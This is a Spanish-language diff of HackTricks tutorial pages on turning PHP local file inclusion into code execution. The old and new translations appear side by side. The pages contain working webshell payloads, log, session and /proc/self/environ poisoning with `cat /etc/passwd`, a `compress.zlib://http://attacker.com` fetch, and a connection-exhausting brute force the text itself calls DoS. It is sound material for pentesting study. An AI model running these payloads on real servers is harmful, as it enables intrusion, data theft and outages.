**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## Travesía de Ruta Ciega en PHP
## Travesía de Ruta PHP a Ciegas
{% hint style="warning" %}
Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
Esta técnica es relevante en casos en los que **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
{% endhint %}
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de una travesía de ruta ciega a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de error**.
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de una travesía de ruta a ciegas a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de error**.
En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadenará un **error**.
@ -461,7 +461,7 @@ Luego, para filtrar el primer carácter se utiliza el filtro **`dechunk`** junto
### Inclusión Remota de Archivos
Explicado anteriormente, [**siga este enlace**](./#remote-file-inclusion).
Como se explicó anteriormente, [**siga este enlace**](./#remote-file-inclusion).
### A través del archivo de registro de Apache/Nginx
@ -492,19 +492,19 @@ Otros posibles caminos de registro:
### A través de /proc/\*/fd/\*
1. Sube una gran cantidad de shells (por ejemplo: 100)
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), donde $PID es el PID del proceso (puede ser forzado por fuerza bruta) y $FD es el descriptor de archivo (también puede ser forzado por fuerza bruta)
1. Sube muchas shells (por ejemplo: 100)
2. Incluye [http://ejemplo.com/index.php?page=/proc/$PID/fd/$FD](http://ejemplo.com/index.php?page=/proc/$PID/fd/$FD), donde $PID = PID del proceso (puede ser forzado por fuerza bruta) y $FD es el descriptor de archivo (también puede ser forzado por fuerza bruta)
### A través de /proc/self/environ
Como un archivo de registro, envía la carga útil en el User-Agent, que se reflejará dentro del archivo /proc/self/environ
Como un archivo de registro, envía la carga útil en el User-Agent, se reflejará dentro del archivo /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### A través de carga
### A través de la carga
Si puedes cargar un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
Si puedes cargar un archivo, simplemente inyecta el payload de la shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
@ -528,7 +528,7 @@ En PHP, estas sesiones se almacenan en archivos _/var/lib/php5/sess\\_\[PHPSESSI
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Establece la cookie en `<?php system('cat /etc/passwd');?>`
Establece la cookie a `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
@ -536,11 +536,11 @@ Utiliza el LFI para incluir el archivo de sesión de PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### A través de ssh
### Via ssh
Si ssh está activo, verifique qué usuario se está utilizando (/proc/self/status y /etc/passwd) e intente acceder a **\<HOME>/.ssh/id\_rsa**
Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status y /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id\_rsa**
### **A través de los registros de** **vsftpd**
### **Via** **vsftpd** _**logs**_
Los registros del servidor FTP vsftpd se encuentran en **_/var/log/vsftpd.log_**. En el escenario donde existe una vulnerabilidad de Inclusión de Archivos Locales (LFI) y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
@ -548,9 +548,9 @@ Los registros del servidor FTP vsftpd se encuentran en **_/var/log/vsftpd.log_**
2. Después de la inyección, utilizar el LFI para recuperar los registros del servidor desde **_/var/log/vsftpd.log_**.
### A través del filtro base64 de php (usando base64)
### Via php base64 filter (usando base64)
Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora Non-base64. Puede usar eso para evadir la verificación de la extensión del archivo: si proporciona base64 que termina con ".php", simplemente ignorará el "." y agregará "php" al base64. Aquí hay un ejemplo de payload:
Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora Non-base64. Puedes usar eso para evadir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y agregará "php" al base64. Aquí tienes un ejemplo de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -574,7 +574,7 @@ Este [**informe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d
### A través del almacenamiento de archivos temporales de Nginx
Si encuentras una **Inclusión Local de Archivos** y **Nginx** está en funcionamiento delante de PHP, es posible que puedas obtener RCE con la siguiente técnica:
Si encuentras una **Inclusión Local de Archivos** y **Nginx** está en funcionamiento frente a PHP, es posible que puedas obtener RCE con la siguiente técnica:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
@ -582,15 +582,15 @@ Si encuentras una **Inclusión Local de Archivos** y **Nginx** está en funciona
### A través de PHP\_SESSION\_UPLOAD\_PROGRESS
Si encuentras una **Inclusión Local de Archivos** incluso si **no tienes una sesión** y `session.auto_start` está en `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **POST multipart**, PHP **habilitará la sesión por ti**. Podrías abusar de esto para obtener RCE:
Si encuentras una **Inclusión Local de Archivos** incluso si **no tienes una sesión** y `session.auto_start` está en `Off`. Si proporcionas **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **POST multipart**, PHP **habilitará la sesión por ti**. Podrías abusar de esto para obtener RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
### A través de subidas de archivos temporales en Windows
### A través de cargas de archivos temporales en Windows
Si encuentras una **Inclusión Local de Archivos** y el servidor está en **Windows** podrías obtener RCE:
Si encuentras una **Inclusión Local de Archivos** y el servidor está en **Windows**, podrías obtener RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
@ -598,7 +598,7 @@ Si encuentras una **Inclusión Local de Archivos** y el servidor está en **Wind
### A través de phpinfo() (file\_uploads = on)
Si encuentras una **Inclusión Local de Archivos** y un archivo que expone **phpinfo()** con file\_uploads = on puedes obtener RCE:
Si encuentras una **Inclusión Local de Archivos** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
@ -625,7 +625,7 @@ Si puedes abusar de la LFI para **subir archivos temporales** y hacer que el ser
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para lanzar ese error).
**No sé cómo es útil esto pero podría serlo.**\
_Incluso si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados._
_Incluso si causas un Error Fatal de PHP, los archivos temporales de PHP subidos se eliminan._
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
@ -658,9 +658,9 @@ Mantente informado sobre los nuevos programas de recompensas por bugs que se lan
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -23,28 +21,43 @@ Esto significa que una llamada como:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Enviaremos una solicitud pidiendo http://attacker.com/file, luego el servidor podría responder la solicitud con una respuesta HTTP válida, mantener la conexión abierta y enviar datos adicionales algún tiempo después que también se escribirán en el archivo.
Enviar una solicitud pidiendo http://attacker.com/file, luego el servidor podría responder la solicitud con una respuesta HTTP válida, mantener abierta la conexión y enviar datos adicionales algún tiempo después que también se escribirán en el archivo.
Puede ver esa información en esta parte del código php-src en main/streams/cast.c:
Puedes ver esa información en esta parte del código php-src en main/streams/cast.c:
```c
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
```
## Condición de Carrera a RCE
Este CTF se resolvió utilizando el truco anterior.
[**Este CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) se resolvió utilizando el truco anterior.
El atacante hará que el servidor víctima abra una conexión leyendo un archivo desde el servidor del atacante utilizando el protocolo `compress.zlib`.
El atacante hará que el **servidor víctima abra una conexión leyendo un archivo desde el servidor del atacante** utilizando el protocolo **`compress.zlib`**.
Mientras esta conexión exista, el atacante exfiltrará la ruta al archivo temporal creado (que es filtrado por el servidor).
**Mientras** esta **conexión** exista, el atacante **exfiltrará la ruta** al archivo temporal creado (que es filtrado por el servidor).
Mientras la conexión siga abierta, el atacante explotará una LFI cargando el archivo temporal que controla.
**Mientras** la **conexión** esté aún abierta, el atacante **explotará una LFI cargando el archivo temporal** que él controla.
Sin embargo, hay una comprobación en el servidor web que impide la carga de archivos que contienen `<?`. Por lo tanto, el atacante aprovechará una Condición de Carrera. En la conexión que aún está abierta, el atacante enviará la carga útil de PHP DESPUÉS de que el servidor web haya comprobado si el archivo contiene los caracteres prohibidos, pero ANTES de que cargue su contenido.
Sin embargo, hay una verificación en el servidor web que **impide cargar archivos que contienen `<?`**. Por lo tanto, el atacante abusará de una **Condición de Carrera**. En la conexión que aún está abierta, el **atacante** enviará la carga útil de PHP DESPUÉS de que el **servidor web** haya **verificado** si el archivo contiene los caracteres prohibidos pero **ANTES de cargar su contenido**.
Para obtener más información, consulte la descripción de la Condición de Carrera y el CTF en [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,122 +2,101 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Información Básica
Por defecto, cuando se sube un archivo a PHP (incluso si no lo está esperando), generará un archivo temporal en `/tmp` con un nombre como **`php[a-zA-Z0-9]{6}`**, aunque he visto algunas imágenes de docker donde los archivos generados no contienen dígitos.
Por defecto, cuando se carga un archivo en PHP (incluso si no se espera), generará un archivo temporal en `/tmp` con un nombre como **`php[a-zA-Z0-9]{6}`**, aunque he visto algunas imágenes de docker donde los archivos generados no contienen dígitos.
En una inclusión de archivo local, **si logras incluir ese archivo subido, conseguirás RCE**.
En una inclusión de archivo local, **si logras incluir ese archivo cargado, obtendrás RCE**.
Ten en cuenta que por defecto **PHP solo permite subir 20 archivos en una sola petición** (configurado en `/etc/php/<version>/apache2/php.ini`):
Ten en cuenta que por defecto **PHP solo permite cargar 20 archivos en una única solicitud** (configurado en `/etc/php/<versión>/apache2/php.ini`):
```
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20
```
También, el **número de nombres de archivos potenciales es 62\*62\*62\*62\*62\*62 = 56800235584**
### Otras técnicas
Otras técnicas se basan en atacar protocolos de PHP (no podrás si solo controlas la última parte de la ruta), revelando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra una falla de segmentación para que los archivos temporales subidos no se eliminen**.\
Esta técnica es **muy similar a la última pero sin necesidad de encontrar un zero day**.
### Técnica de espera eterna
En esta técnica **solo necesitamos controlar una ruta relativa**. Si logramos subir archivos y hacer que el **LFI nunca termine**, tendremos "suficiente tiempo" para **fuerza bruta en archivos subidos** y **encontrar** cualquiera de los que se hayan subido.
En esta técnica **solo necesitamos controlar una ruta relativa**. Si logramos cargar archivos y hacer que la **LFI nunca termine**, tendremos "suficiente tiempo" para **realizar fuerza bruta en los archivos cargados** y **encontrar** cualquiera de los que se hayan subido.
**Pros de esta técnica**:
**Ventajas de esta técnica**:
* Solo necesitas controlar una ruta relativa dentro de un include
* No requiere nginx ni un nivel de acceso inesperado a archivos de registro
* No requiere un 0 day para causar una falla de segmentación
* No requiere revelación de ruta
- Solo necesitas controlar una ruta relativa dentro de una inclusión
- No requiere nginx ni un nivel inesperado de acceso a los archivos de registro
- No requiere un zero day para causar una falla de segmentación
- No requiere una divulgación de ruta
Los **problemas principales** de esta técnica son:
Los **principales problemas** de esta técnica son:
* Necesidad de que esté presente un archivo específico(s) (podría haber más)
* La cantidad **insana** de nombres de archivos potenciales: **56800235584**
* Si el servidor **no utiliza dígitos** la cantidad total potencial es: **19770609664**
* Por defecto **solo se pueden subir 20 archivos** en una **sola solicitud**.
* El **número máximo de trabajadores paralelos** del servidor utilizado.
* Este límite con los anteriores puede hacer que este ataque dure demasiado
* **Tiempo de espera para una solicitud de PHP**. Idealmente, esto debería ser eterno o debería matar el proceso de PHP sin eliminar los archivos temporales subidos, si no, esto también será un problema
- Necesita que un archivo específico (o archivos) esté presente (puede haber más)
- La **enorme** cantidad de nombres de archivo potenciales: **56800235584**
- Si el servidor **no está utilizando dígitos**, la cantidad total potencial es: **19770609664**
- Por defecto, solo se pueden cargar **20 archivos** en una **sola solicitud**.
- El **número máximo de trabajadores en paralelo** del servidor utilizado.
- Este límite junto con los anteriores puede hacer que este ataque dure demasiado
- **Tiempo de espera para una solicitud de PHP**. Idealmente, esto debería ser eterno o debería finalizar el proceso de PHP sin eliminar los archivos temporales cargados; de lo contrario, también será un dolor
Entonces, ¿cómo puedes **hacer que un include de PHP nunca termine**? Simplemente incluyendo el archivo **`/sys/kernel/security/apparmor/revision`** (**lamentablemente no disponible en contenedores Docker**).
Entonces, ¿cómo puedes **hacer que una inclusión de PHP nunca termine**? Simplemente incluyendo el archivo **`/sys/kernel/security/apparmor/revision`** (**desafortunadamente no disponible en contenedores Docker**).
Pruébalo llamando:
Inténtalo simplemente llamando:
```bash
php -a # open php cli
include("/sys/kernel/security/apparmor/revision");
```
## Apache2
Por defecto, Apache soporta **150 conexiones concurrentes**, siguiendo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) es posible aumentar este número hasta 8000. Sigue esto para usar PHP con ese módulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Por defecto, Apache admite **150 conexiones concurrentes**, siguiendo [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) es posible aumentar este número hasta 8000. Sigue esto para usar PHP con ese módulo: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
Por defecto, (como puedo ver en mis pruebas), un **proceso PHP puede durar eternamente**.
Hagamos algunos cálculos:
* Podemos usar **149 conexiones** para generar **149 \* 20 = 2980 archivos temporales** con nuestro webshell.
* Luego, usar la **última conexión** para **fuerza bruta** de archivos potenciales.
* Podemos usar **149 conexiones** para generar **149 \* 20 = 2980 archivos temporales** con nuestra webshell.
* Luego, usar la **última conexión** para **bruteforce** posibles archivos.
* A una velocidad de **10 solicitudes/s** los tiempos son:
* 56800235584 / 2980 / 10 / 3600 \~= **530 horas** (50% de probabilidad en 265h)
* (sin dígitos) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de probabilidad en 93h)
* (sin decimales) 19770609664 / 2980 / 10 / 3600 \~= 185h (50% de probabilidad en 93h)
{% hint style="warning" %}
¡Nota que en el ejemplo anterior estamos **DoSing completamente a otros clientes**!
¡Ten en cuenta que en el ejemplo anterior estamos **haciendo un DoS completo a otros clientes**!
{% endhint %}
Si el servidor Apache está mejorado y pudiéramos abusar de **4000 conexiones** (a mitad de camino hacia el máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se **reduciría** a alrededor de **19.7h** o **6.9h** (10h, 3.5h con 50% de probabilidad).
Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a mitad de camino del número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se reduciría a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad).
## PHP-FMP
Si en lugar de usar el módulo php regular para apache para ejecutar scripts PHP, la **página web está usando** **PHP-FMP** (esto mejora la eficiencia de la página web, por lo que es común encontrarlo), hay algo más que se puede hacer para mejorar la técnica.
Si en lugar de usar el módulo php regular para apache para ejecutar scripts PHP la **página web está utilizando** **PHP-FMP** (esto mejora la eficiencia de la página web, por lo que es común encontrarlo), hay algo más que se puede hacer para mejorar la técnica.
PHP-FMP permite **configurar** el **parámetro** **`request_terminate_timeout`** en **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro está descomentado**). Cuando una solicitud está siendo procesada por PHP el número indicado de segundos, es **terminada**. Esto significa, que si la solicitud estaba subiendo archivos temporales, debido a que el **procesamiento de php fue detenido**, esos **archivos no van a ser eliminados**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no serán eliminados, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS a la plataforma al consumir todas las conexiones.
PHP-FMP permite **configurar** el **parámetro** **`request_terminate_timeout`** en **`/etc/php/<versión-php>/fpm/pool.d/www.conf`**.\
Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito de forma predeterminada, pero **30s si el parámetro está descomentado**). Cuando una solicitud está siendo procesada por PHP durante el número indicado de segundos, es **eliminada**. Esto significa que si la solicitud estaba subiendo archivos temporales, debido a que el **procesamiento de php se detuvo**, esos **archivos no se eliminarán**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no se eliminarán, lo que **acelerará el proceso de encontrarlos** y reducirá la probabilidad de un DoS a la plataforma al consumir todas las conexiones.
Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento de php por **php-fmp** (`request_terminate_timeout`**) es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
Entonces, para **evitar un DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, la cantidad de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
Luego, para generar **10000 archivos** un atacante necesitaría: **`10000/66.67 = 150s`** (para generar **100000 archivos** el tiempo sería **25min**).
Luego, el atacante podría usar esas **100 conexiones** para realizar una **búsqueda por fuerza bruta**. \*\*\*\* Suponiendo una velocidad de 300 req/s el tiempo necesario para explotar esto es el siguiente:
Luego, el atacante podría usar esas **100 conexiones** para realizar un **bruteforce de búsqueda**. Suponiendo una velocidad de 300 req/s, el tiempo necesario para explotar esto es el siguiente:
* 56800235584 / 10000 / 300 / 3600 \~= **5.25 horas** (50% de probabilidad en 2.63h)
* (con 100000 archivos) 56800235584 / 100000 / 300 / 3600 \~= **0.525 horas** (50% de probabilidad en 0.263h)
Sí, es posible generar 100000 archivos temporales en una instancia EC2 de tamaño medio:
Sí, es posible generar 100000 archivos temporales en una instancia de tamaño mediano de EC2:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
{% hint style="warning" %}
Nota que para activar el tiempo de espera sería **suficiente incluir la página LFI vulnerable**, para que entre en un bucle de inclusión eterno.
Ten en cuenta que para activar el tiempo de espera sería **suficiente incluir la página LFI vulnerable**, para que entre en un bucle de inclusión eterno.
{% endhint %}
## Nginx
Parece que por defecto Nginx soporta **512 conexiones paralelas** al mismo tiempo (y este número puede ser mejorado).
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Parece que por defecto Nginx admite **512 conexiones paralelas** al mismo tiempo (y este número puede mejorarse).

View file

@ -2,51 +2,51 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
